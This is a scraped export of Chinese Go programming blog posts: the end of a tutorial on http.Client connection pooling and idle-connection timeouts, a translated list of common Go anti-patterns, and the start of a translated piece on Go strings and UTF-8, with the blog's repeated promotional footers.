10 11 func main() { 12 var wg sync.WaitGroup 13 wg.Add(5) 14 tr := \u0026amp;http.Transport{ 15 MaxConnsPerHost: 5, 16 MaxIdleConnsPerHost: 3, 17 } 18 client := http.Client{ 19 Transport: tr, 20 } 21 for i := 0; i \u0026lt; 5; i++ { 22 go func(i int) { 23 defer wg.Done() 24 resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) 25 if err != nil { 26 panic(err) 27 } 28 defer resp.Body.Close() 29 body, err := io.ReadAll(resp.Body) 30 fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i, string(body)) 31 }(i) 32 } 33 wg.Wait() 34 35 time.Sleep(10 * time.Second) 36 37 wg.Add(5) 38 for i := 0; i \u0026lt; 5; i++ { 39 go func(i int) { 40 defer wg.Done() 41 42 for i := 0; i \u0026lt; 100; i++ { 43 resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) 44 if err != nil { 45 panic(err) 46 } 47 defer resp.Body.Close() 48 body, err := io.ReadAll(resp.Body) 49 fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i+10, string(body)) 50 time.Sleep(time.Second) 51 } 52 }(i) 53 } 54 wg.Wait() 55 } 我们首先制造一次忙碌的发送行为(21~32行)，使得client端建满5个连接；然后等待10s，即让client闲下来；之后再建立5个groutine，以每秒一条的速度向server端发送请求(不忙的节奏)，我们来看看程序运行后服务端的输出：\n$go run server.go receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56246 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56245 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56242 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56244 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:56243 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] ... ... 我们来分析一下：\n- 第一部分的五行输出是“忙时”client端建立的5条不同的连接，客户端端口号从56242到56246；\n- 第二部分的五行输出是“非忙时”client利用idle池中的连接发送的请求，关键点就在于这5个请求的源端口号：56242、56243和56244，五个请求使用了三个早已建立好的alive的连接；\n- 后面的几部分使用的也是这三个早已建立好的alive的连接。\n这就是MaxIdleConnsPerHost的作用：最初“忙时”建立的5条连接，在client进入闲时时要进入idle状态。但MaxIdleConnsPerHost的值为3，也就是说只有3条连接可以进入idle池，而另外两个会被close掉。于是源端口号为56242、56243和56244的三条连接被保留了下来。\n下面是这节例子的示意图：\nTransport结构体还有一个字段与idle池有关，那就是MaxIdleConns，不同于MaxIdleConnsPerHost只针对某个host，MaxIdleConns是针对整个Client的所有idle池中的连接数的和，这个和不能超过MaxIdleConns。\n5. 清理idle池中的连接 如果没有其他设定，那么一个Client到一个host在闲时至少会保持DefaultMaxIdleConnsPerHost个idle连接(前提是之前已经建立了2条或2条以上的连接)，但如果Client针对这个host一直就保持无流量的状态，那么idle池中的连接也是一种资源浪费。于是Transport又提供了IdleConnTimeout字段用于超时清理idle池中的长连接。下面的示例复用上面的server，但client.go改为如下形式：\n// github.com/bigwhite/experiments/blob/master/http-client/client-with-idleconntimeout/client.go 1 package main 2 3 import ( 4 \u0026quot;fmt\u0026quot; 5 \u0026quot;io\u0026quot; 6 \u0026quot;net/http\u0026quot; 7 \u0026quot;sync\u0026quot; 8 \u0026quot;time\u0026quot; 9 ) 10 11 func main() { 12 var wg sync.WaitGroup 13 wg.Add(5) 14 tr := \u0026amp;http.Transport{ 15 MaxConnsPerHost: 5, 16 MaxIdleConnsPerHost: 3, 17 IdleConnTimeout: 10 * time.Second, 18 } 19 client := http.Client{ 20 Transport: tr, 21 } 22 for i := 0; i \u0026lt; 5; i++ { 23 go func(i int) { 24 defer wg.Done() 25 resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) 26 if err != nil { 27 panic(err) 28 } 29 defer resp.Body.Close() 30 body, err := io.ReadAll(resp.Body) 31 fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i, string(body)) 32 }(i) 33 } 34 wg.Wait() 35 36 time.Sleep(5 * time.Second) 37 38 wg.Add(5) 39 for i := 0; i \u0026lt; 5; i++ { 40 go func(i int) { 41 defer wg.Done() 42 for i := 0; i \u0026lt; 2; i++ { 43 resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) 44 if err != nil { 45 panic(err) 46 } 47 defer resp.Body.Close() 48 body, err := io.ReadAll(resp.Body) 49 fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i+10, string(body)) 50 time.Sleep(time.Second) 51 } 52 }(i) 53 } 54 55 time.Sleep(15 * time.Second) 56 wg.Add(5) 57 58 for i := 0; i \u0026lt; 5; i++ { 59 go func(i int) { 60 defer wg.Done() 61 for i := 0; i \u0026lt; 100; i++ { 62 resp, err := client.Get(\u0026quot;http://localhost:8080\u0026quot;) 63 if err != nil { 64 panic(err) 65 } 66 defer resp.Body.Close() 67 body, err := io.ReadAll(resp.Body) 68 fmt.Printf(\u0026quot;g-%d: %s\\n\u0026quot;, i+20, string(body)) 69 time.Sleep(time.Second) 70 } 71 }(i) 72 } 73 wg.Wait() 74 } 这个client.go代码分为三部分：首先和上个示例一样，我们首先制造一次忙碌的发送行为(22~33行)，使得client端建满5个连接；然后等待5s，即让client闲下来；之后再建立5个groutine，以每秒一条的速度向server端发送请求(不忙的节奏)；第三部分同样是先等待15s，然后创建5个goroutine分别以不忙的节奏向server端发送请求。我们来看看程序运行后服务端的输出：\n$go run server.go receive a request from: [::1]:52484 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52488 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52486 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52485 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52487 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52487 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52488 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52484 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52484 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52487 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52487 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52488 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52484 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52487 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52484 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52542 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52544 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52545 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52543 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52546 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52542 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52544 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52545 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52542 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] receive a request from: [::1]:52544 map[Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1]] ... ... 这里摘录5段输出。和预想的一样，第一段client向server建立了5条连接(客户端的端口号从5248452487)；暂停5s后，新创建的5个goroutine通过idle池中的三条保持的连接向server发送请求(第二段和第三段，端口号:52484、52487、52488)；之后暂停15s，由于设置了IdleConnTimeout，idle池中的三条连接也被close掉了。这时再发送请求，client会重新建立连接（第四段，端口号5254252546），最后一段则又开始通过idle池中的三条保持的连接向server发送请求了(端口号：52542、52544和52545)。\n6. 其他控制项 如果觉得idle池超时清理依旧会占用“资源”一小会儿，那么可以利用Transport的DisableKeepAlives使得每个请求都创建一个新连接，即不复用keep-alive连接。当然这种控制设定在忙时导致的频繁建立新连接的损耗可是要比占用一些“资源”来的更大。示例可参考 github.com/bigwhite/experiments/blob/master/http-client/client-with-disablekeepalives，这里就不贴出来了。\n另外像本文开始示例中server那样等待10s才回应答的行为可不是所有client端都能接受的，为了限定应答及时返回，client端可以设定等待应答的超时时间，如果超时，client将返回失败。http.Client结构中的Timeout可以实现这一特性。示例可参考 github.com/bigwhite/experiments/blob/master/http-client/client-with-timeout，这里同样不贴出来了。\n本文涉及的代码可以在这里下载：https://github.com/bigwhite/experiments/blob/master/http-client。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/02/go-http-client-connection-control/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-http-client-connection-control-1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"1-http包默认客户端\"\u003e1. http包默认客户端\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://www.imooc.com/read/87/article/2341\"\u003eGo语言以“自带电池”闻名\u003c/a\u003e，很多开发者对Go自带的功能丰富的标准库喜爱有加。而在Go标准库中，net/http包又是最受欢迎和最常用的包之一，我们用几行代码就能生成一个支持大并发、性能中上的http server。而http.Client也是用途最为广泛的http客户端，其性能也可以满足多数情况下的需求。知名女gopher\u003ca href=\"https://github.com/rakyll\"\u003eJaana Dogan\u003c/a\u003e开源的类\u003ca href=\"https://httpd.apache.org/docs/2.4/programs/ab.html\"\u003eapache ab\u003c/a\u003e的\u003ca href=\"https://github.com/rakyll/hey\"\u003ehttp性能测试工具hey\u003c/a\u003e也是直接使用的http.Client，而没有用一些性能更好的第三方库（比如：\u003ca href=\"https://github.com/valyala/fasthttp\"\u003efasthttp\u003c/a\u003e)。\u003c/p\u003e","title":"http.Client的连接行为控制详解"},{"content":"\n本文翻译自Saif Sadiq的文章《Common anti-patterns in Go》。\n众所周知，编码是一门艺术，就像每个拥有精湛艺术并为之感到骄傲的工匠一样，我们作为开发人员也为我们编写的代码感到自豪。为了获得最佳效果，艺术家不断寻找可提高其手艺的方法和工具。同样，作为开发人员，我们也在不断提高自己的技能，并对”如何写出好的代码”这个最重要的问题的答案保持好奇。\n弗雷德里克·布鲁克斯（Frederick P. Brooks）在他的书《人月神话》中写道：\n“程序员和诗人一样，工作时只是稍稍脱离了纯粹的思维定式。他在空气中建造他的城堡，通过发挥想象力进行创作。很少有一种创作媒介是如此灵活，如此容易打磨和重做，如此容易实现宏大的概念结构”。\n图片来源：https://xkcd.com/844\n这篇文章试图探索上面漫画中大问号的答案。编写良好代码的最简单方法是避免在我们编写的代码中包含反模式。\n0. 什么是反模式 一个简单的反模式示例就是编写一个API，而无需考虑该API的使用者如何使用它，如下面的示例1所述。意识到反模式并有意识地避免在编程时使用它们，这无疑是朝着更具可读性和可维护性的代码库迈出的重要一步。在本文中，让我们看一下Go中一些常见的反模式。\n当编写代码时没有未来的因素做出考虑时，就会出现反模式。反模式最初可能看起来是一个适当的问题解决方案，但是，实际上，随着代码库的扩大，这些反模式会变得模糊不清，并给我们的代码库添加“技术债务”。\n反模式的一个简单例子是，在编写API时不考虑API的消费者如何使用它，就如下面例1那样。意识到反模式，并在编程时有意识地避免使用它们，肯定是迈向更可读和可维护的代码库的重要一步。在这篇文章中，我们来看看Go中常见的几种反模式。\n1. 从导出函数(exported function)返回未导出类型(unexported type)的值 在Go中，要导出(export)任何一个字段(field)或变量(variable)，我们都需要确保其名称是以大写字母开头。导出(export)它们的动机是使它们对其他包可见。例如，如果要使用math包中的Pi函数，我们将其定义为math.Pi。而使用math.pi将无法正常工作，并且会报错。\n以小写字母开头的名称（结构字段，函数或变量）不会被导出，并且仅在定义它们的包内可见。\n使用返回未导出类型值的导出函数或方法可能会令人沮丧，因为其他包中的该函数的调用者将不得不再次定义一个类型才能使用它。\n// 反模式 type unexportedType string func ExportedFunc() unexportedType { return unexportedType(\u0026quot;some string\u0026quot;) } // 推荐 type ExportedType string func ExportedFunc() ExportedType { return ExportedType(\u0026quot;some string\u0026quot;) } 2. 空白标识符的不必要使用 在各种情况下，将值赋值给空白标识符是不需要，也没有必要的。如果在for循环中使用空白标识符，Go规范中提到：\n如果最后一个迭代变量是空白标识符，则range子句等效于没有该标识符的同一子句。\n// 反模式 for _ = range sequence { run() } x, _ := someMap[key] _ = \u0026lt;-ch // 推荐 for range something { run() } x := someMap[key] \u0026lt;-ch 3. 使用循环/多次append连接两个切片 将多个切片附加到一个切片时，无需遍历切片并一个接一个地附加(append)每个元素。相反，使用一个append语句执行此操作会更好，更有效率。\n例如，下面的代码段通过迭代遍历元素逐个附加元素来连串连接sliceOne和sliceTwo：\nfor _, v := range sliceTwo { sliceOne = append(sliceOne, v) } 但是，由于我们知道append是一个变长参数函数，我们可以使用零个或多个参数来调用它。因此，可以仅使用一个append函数调用来以更简单的方式重写上面的示例，如下所示：\nsliceOne = append(sliceOne, sliceTwo…) 4. make调用中的冗余参数 该make函数是一个特殊的内置函数，用于分配和初始化map、slice或chan类型的对象。为了使用make初始化切片，我们必须提供切片的类型、切片的长度以及切片的容量作为参数。在使用make初始化map的情况下，我们需要传递map的大小作为参数。\n但是，make的这些参数已经具有默认值：\n对于channel，缓冲区容量默认为零（不带缓冲）。 对于map，分配的大小默认为较小的起始大小。 对于切片，如果省略容量，则容量参数的值默认为与长度相等。 所以，\nch = make(chan int, 0) sl = make([]int, 1, 1) 可以改写为：\nch = make(chan int) sl = make([]int, 1) 但是，出于调试或方便数学计算或平台特定代码的目的，将具名常量与channel一起使用不被视为反模式。\nconst c = 0 ch = make(chan int, c) // 不是反模式 5. 函数中无用的return return在没有返回值的函数中作为最终语句不是一种好习惯。\n// 没用的return，不推荐 func alwaysPrintFoofoo() { fmt.Println(\u0026quot;foofoo\u0026quot;) return } // 推荐 func alwaysPrintFoo() { fmt.Println(\u0026quot;foofoo\u0026quot;) } 但是，具名返回值的return不应与无用的return相混淆。下面的return语句实际上返回了一个值。\nfunc printAndReturnFoofoo() (foofoo string) { foofoo := \u0026quot;foofoo\u0026quot; fmt.Println(foofoo) return } 6. switch语句中无用的break语句 在Go中，switch语句不会自动fallthrough。在像C这样的编程语言中，如果前一个case语句块中缺少break语句，则执行将进入下一个case语句中。但是，人们发现，fallthrough的逻辑在switch-case中很少使用，并且经常会导致错误。因此，包括Go在内的许多现代编程语言都将switch-case的默认逻辑改为不fallthrough。\n因此，在一个case case语句中，不需要将break语句作为最终语句。以下两个示例的行为相同。\n反模式：\nswitch s { case 1: fmt.Println(\u0026quot;case one\u0026quot;) break case 2: fmt.Println(\u0026quot;case two\u0026quot;) } 好的模式：\nswitch s { case 1: fmt.Println(\u0026quot;case one\u0026quot;) case 2: fmt.Println(\u0026quot;case two\u0026quot;) } 但是，为了在Go中switch-case中实现fallthrough机制，我们可以使用fallthrough语句。例如，下面给出的代码段将打印23。\nswitch 2 { case 1: fmt.Print(\u0026quot;1\u0026quot;) fallthrough case 2: fmt.Print(\u0026quot;2\u0026quot;) fallthrough case 3: fmt.Print(\u0026quot;3\u0026quot;) } 7. 不使用辅助函数执行常见任务 对于一组特定的参数，某些函数具有一些特定表达方式，可以用来简化效率，并带来更好的理解/可读性。\n例如，在Go中，要等待多个goroutine完成，可以使用sync.WaitGroup。通过将计数器的值-1直至0，以表示所有goroutine都已经执行完毕：\nwg.Add(1) // ...some code wg.Add(-1) 但使用sync包提供的辅助函数wg.Done()可以使代码更简单并容易理解。因为它本身会通知sync.WaitGroup所有goroutine即将完成，而无需我们手动将计数器减到0。\nwg.Add(1) // ...some code wg.Done() 8. nil切片上的冗余检查 nil切片的长度为零。因此，在计算切片的长度之前，无需检查切片是否为nil切片。\n例如，下面的nil检查是不必要的。\nif x != nil \u0026amp;\u0026amp; len(x) != 0 { // do something } 上面的代码可以省略nil检查，如下所示：\nif len(x) != 0 { // do something } 9. 太复杂的函数字面量 可以删除仅调用单个函数且对函数内部的值没有做任何修改的函数字面量，因为它们是多余的。可以改为在外部函数直接调用被调用的内部函数。\n例如：\nfn := func(x int, y int) int { return add(x, y) } 可以简化为：\nadd(x, y) 译注：原文少了简化后的代码，这里根据译者的理解补充的。\n10. 使用仅有一个case语句的select语句 select语句使goroutine等待多个通信操作。但是，如果只有一个case语句，实际上我们不需要使用select语句。在这种情况下，使用简单send或receive操作即可。如果我们打算在不阻塞地发送或接收操作的情况处理channel通信，则建议在select中添加一个default case以使该select语句变为非阻塞状态。\n// 反模式 select { case x := \u0026lt;-ch: fmt.Println(x) } // 推荐 x := \u0026lt;-ch fmt.Println(x) 使用default:\nselect { case x := \u0026lt;-ch: fmt.Println(x) default: fmt.Println(\u0026quot;default\u0026quot;) } 11. context.Context应该是函数的第一个参数 context.Context应该是第一个参数，一般命名为ctx.ctx应该是Go代码中很多函数的（非常）常用参数，由于在逻辑上把常用参数放在参数列表的第一个或最后一个比较好。为什么这么说呢？因为它的使用模式统一，可以帮助我们记住包含该参数。在Go中，由于变量可能只是参数列表中的最后一个，因此建议将context.Context作为第一个参数。各种项目，甚至Node.js等都有一些约定，比如错误先回调。因此，context.Context应该永远是函数的第一个参数，这是一个惯例。\n// 反模式 func badPatternFunc(k favContextKey, ctx context.Context) { // do something } // 推荐 func goodPatternFunc(ctx context.Context, k favContextKey) { // do something } “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，\u0026gt;每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需\u0026gt;求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足\u0026gt;广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/31/common-anti-patterns-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/common-anti-patterns-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自Saif Sadiq的文章\u003ca href=\"https://deepsourcehq.hashnode.dev/common-anti-patterns-in-go\"\u003e《Common anti-patterns in Go》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e众所周知，编码是一门艺术，就像每个拥有精湛艺术并为之感到骄傲的工匠一样，我们作为开发人员也为我们编写的代码感到自豪。为了获得最佳效果，艺术家不断寻找可提高其手艺的方法和工具。同样，作为开发人员，我们也在不断提高自己的技能，并对”如何写出好的代码”这个最重要的问题的答案保持好奇。\u003c/p\u003e","title":"Go语言中常见的几种反模式[译]"},{"content":"\n本文翻译自Rytis Bieliunas的文章《Darker Corners of Go》。\n第一部分参见《Go语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第一部分）》\n7. 字符串和字节数组 1) Go中的字符串 Go字符串的内部定义如下所示：\ntype StringHeader struct { Data uintptr Len int } 字符串本身是一个值类型，它具有一个指向字节数组的指针和固定长度。字符串中的“零字节”不像在C中那样标记着字符串的结尾。字符串内可以有任何数据。通常，该数据被编码为UTF-8字符串，但不一定如此。\n2) 字符串不能为nil 字符串在Go中永远不会为nil。字符串的默认值是一个空字符串，而不是nil：\npackage main import \u0026quot;fmt\u0026quot; func main() { var s string fmt.Println(s == \u0026quot;\u0026quot;) // true s = nil // error: cannot use nil as type string in assignment } 3) 字符串是不可变的（某种） Go不想让您修改字符串：\npackage main func main() { str := \u0026quot;darkercorners\u0026quot; str[0] = 'D' // error: cannot assign to str[0] } 不可变的数据更易于推理，因此产生的问题更少。缺点是每次您想在字符串中添加或删除某些内容时，都必须分配一个全新的字符串。如果确实需要，可以通过unsafe包来修改字符串，但是如果您这这样做的话，你可能就是聪明过头了。\n您可能要担心分配的最常见情况是，需要将许多字符串连接在一起。有一个string.Builder类型用于此目的。strings.Builder批量分配内存，而不是每次添加字符串时分配内存：\npackage main import ( \u0026quot;strconv\u0026quot; \u0026quot;strings\u0026quot; \u0026quot;testing\u0026quot; ) func BenchmarkString(b *testing.B) { var str string for i := 0; i \u0026lt; b.N; i++ { str += strconv.Itoa(i) } } func BenchmarkStringBuilder(b *testing.B) { var str strings.Builder for i := 0; i \u0026lt; b.N; i++ { str.WriteString(strconv.Itoa(i)) } } BenchmarkString-8 401053 147346 ns/op 1108686 B/op 2 allocs/op BenchmarkStringBuilder-8 29307392 44.9 ns/op 52 B/op 0 allocs/op 在此示例中，使用strings.Builder比简单添加字符串（并每次分配新的内存）快3000倍。\n在某些情况下，Go编译器会优化这些分配：\n比较字符串和字节切片时：str == string(byteSlice) 当使用[]byte键在map[string]中查找条目时：m[string(byteSlice)] 在将字符串转换为字节的range子句中：对于i，v：= range []byte(str) {…} Go编译器的新版本可能会添加更多优化，因此，如果性能至关重要，那么最好始终使用基准测试和剖析器(profiler)。\n4) 字符串与[]byte 修改字符串的一种方法是先将其转换为字节切片，然后再转换回字符串。如下例所示，将字符串转换为字节切片并向后复制整个字符串和字节切片。原始字符串不变：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { str := \u0026quot;darkercorners\u0026quot; bytes := []byte(str) bytes[0] = 'D' str2 := string(bytes) bytes[6] = 'C' // prints: darkercorners Darkercorners DarkerCorners fmt.Println(str, str2, string(bytes)) } 使用unsafe包可以（但显然不安全）直接修改字符串而无需分配内存。\n导入unsafe包可能是不可移植的，并且不受Go 1兼容性准则的保护。 – https://golang.org/pkg/unsafe/\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { buf := []byte(\u0026quot;darkercorners\u0026quot;) buf[0] = 'D' // make a string that points to the same data as buf byte slice str := *(*string)(unsafe.Pointer(\u0026amp;buf)) // modifying byte slice // it now points to the same memory as the string does // str is modified here as well buf[6] = 'C' fmt.Println(str, string(buf)) // DarkerCorners DarkerCorners } 5) UTF-8的那些事 Unicode和UTF-8是一个“有故事”的主题。要了解Unicode和UTF-8的总体工作原理，您可能需要阅读Joel Spolsky的博客文章“每个软件开发人员的绝对最低限度，绝对，肯定地必须了解Unicode和字符集（无借口！）”。\n下面是简短回顾：\nUnicode是“一种用于不同语言和脚本的国际编码标准，通过该标准，为每个字母，数字或符号分配了适用于不同平台和程序的唯一数值”。本质上，这是一张“码点”的大表。它包含所有语言的大多数（但不是全部）字符。该表中的每个码点都有一个索引，您有时可以看到使用U+表示法指定的索引，例如字母A的U+0041。 通常，码点是指一个字符，例如汉字⻯（U+2EEF），但是它可以是几何形状或字符修饰符（例如，德语ä，ö和ü等字母的变音符号）。由于某种原因，它甚至可能是便便图标（U+1F4A9）。 UTF-8是将大Unicode表的元素编码为计算机可以使用的实际字节的一种方法（也是最常见的一种方法）。 使用UTF-8编码时，单个Unicode码点可能占用1到4个字节。 数字和拉丁字母（az，AZ，0-9）编码为1个字节。许多其他语言的字母将以UTF-8编码占用1个以上的字节。 如果您不了解上面这点，则一旦有人需要将其与其他语言一起使用时，您的Go程序可能会中断。除非您当然会仔细阅读本章的其余部分。 6) Go中的字符串编码 Go中的字符串是字节数组。字符串本身对编码一无所知。它不必是UTF-8编码的。尽管某些库函数甚至是一种语言功能（for range循环）都假设它是utf-8编码的。\n相信Go字符串都是UTF-8并不少见。字符串字面量(literals)使这一混乱增加了很多。尽管字符串本身没有任何特定的编码，但是Go编译器始终将源代码解释为UTF-8。\n定义字符串字面量后，您的编辑器会将其与其余代码一样保存为UTF-8编码的Unicode字符串。一旦Go解析了程序，它将被编译到您的程序中。编译器或Go字符串处理代码与最终编码为UTF-8的字符串无关-这只是文本编辑器将字符串写入磁盘的方式：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { // a string literal with Unicode characters s := \u0026quot;English 한국어\u0026quot; // prints the expected Unicode string: English 한국어 fmt.Println(s) } 只是为了证明一点，这是定义非UTF-8字符串的方法：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unicode/utf8\u0026quot; ) func main() { s := 